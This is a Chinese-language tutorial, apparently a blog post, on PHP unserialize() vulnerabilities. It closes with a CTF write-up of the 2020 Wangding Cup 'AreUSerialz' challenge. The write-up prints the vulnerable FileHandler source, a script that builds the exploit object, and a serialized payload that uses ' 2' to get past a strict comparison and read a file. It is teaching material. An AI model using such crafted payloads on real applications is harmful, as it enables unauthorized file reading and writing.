PHP反序列化漏洞详解(含靶场实战)

简介

PHP反序列化漏洞的本质不是函数本身有问题,而是反序列化的数据源不可信 + PHP 类中存在 "魔术方法" 被恶意触发,最终导致攻击者可以通过构造恶意的序列化字符串,控制反序列化后的对象行为,执行任意代码、读取文件、删除数据等恶意操作。

序列化就是将⼀个对象转换成⼀个字符串,反序列化就是将字符串还原成⼀个对象。

PHP中的魔术方法:

最常用的类型序列化:

其它序列化格式:

  • json字符串 json_encode
  • xml字符串 wddx_serialize_value
  • 二进制格式
  • 字节数组

注意点:

  • 如果传递的字符串不可以序列化,则返回 FALSE
  • 如果对象没有预定义,反序列化得到的对象是 __PHP_Incomplete_Class

序列化的作用:

  • 传输对象
  • 用作缓存(Cookie、Session)

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
出现反序列化漏洞的三个必备条件:

  • unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
  • 脚本中定义了Magic方法,方法里面有向php文件做读写数据或者执行命令的操作,比如__destruct()、unlink()
  • 操作的内容需要有对象中的成员变量的值,比如filename

常见利用函数:

利用方式:序列化一个对象,修改成员变量的值,达到操作其他文件或者执行命令的目的。

防御方法:

  • 针对unserialize和Magic函数审计
  • 对用户输入的内容过滤
  • 白名单,限制反序列化的类;不能动态传参

实战(2020-⽹鼎杯-⻘⻰组-Web-AreUSerialz)

下载网站给的两个php文件

php 复制代码
<?php
class NewFlag {
   public static function getFlag($fileName) {
	   $res = "flag error";
	   if($fileName ==="NewFlag.php") {
	      $res = "flag:{this is flag}";
	   }
	   return $res;
   }
}
?>
php 复制代码
<?php

include("NewFlag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

	// 构造方法 FileHandler类被new 会调用此函数
    function __construct() { // 老师没有看到 类似于 new FileHandler
        $op = "1";
        $filename = "tmpfile";
        $content = "Hello World!";
        $this->process();
    }

	// 这个是重点2 【1就写    2就读(目的:让代码读取我的需求)】
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = NewFlag::getFlag($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

	// 这个是重点1
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

// 唯一触发 ctf2.php 的 地方
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str); // __wakeup
    }
} // __destruct
?>

网站的入口很显然就在最下面,参数是str,由于unserialize()函数会调用__wakeup()函数,我们再去寻找这个函数,发现没有。根据经验,我们知道程序结束时会自动调用__destruct()函数,发现这个函数会调用process()函数,而process()函数又调用了write()函数和read()函数,read()函数就能够读取到flag。

在__destruct()方法中,为了执行process()方法,我们选择用空格2,即" 2"绕过。再把私有属性改成公有属性,最终,简化后的php代码如下:

php 复制代码
<?php
class FileHandler {
    public $op=" 2";
    public $filename="NewFlag.php";
    public $content="cs";
}
$fh = new FileHandler();
echo serialize($fh);
?>

利用它生成一段序列化的字符串:O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:2:"cs";},放在str参数后即可。

相关推荐
迪康Defender1 小时前
终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践
运维·服务器·网络·安全·web安全·自动化·运维开发
Flynn Liang1 小时前
AI 应用的安全红线:Spring AI 下的 Prompt 注入防护、PII 脱敏、输出审计与密钥管理
人工智能·安全·spring·数据泄露·springai·prompt注入
朗迪锋1 小时前
SoErgo重塑“四特”场景下的人机协同与安全边界
人工智能·安全·人机工程
jimmyleeee3 小时前
Agent安全之九:OWASP ASI09 人机信任利用------当人类成为攻击链上最后一道被攻破的关口
人工智能·安全
其实防守也摸鱼4 小时前
信创安全竞赛知识总结与题库
大数据·网络·人工智能·算法·安全·php
万联WANFLOW4 小时前
异地厂区视频监控远程运维:从组网到安全的实施要点
运维·网络·安全·企业组网·sdwan
长不大的杨瑞杰5 小时前
OpenCode v2 配置工程实战:Config 优先级、JSONC、变量替换与多环境治理
人工智能·安全·云计算·软件工程·devops
斗象科技5 小时前
斗象入选上海市“AI+制造“服务商能力图谱·AI安全服务商
人工智能·安全·制造
科技小登7 小时前
出海高防CDN怎么选?CDN加速、边缘清洗与跨境回源POC指南
tcp/ip·web安全·ddos
中二骚年7 小时前
Windows 安全中心 / 防火墙故障,calc和Microsoft Store,终端(管理员)无法正常打开。 原因 + 修复方案
windows·安全·microsoft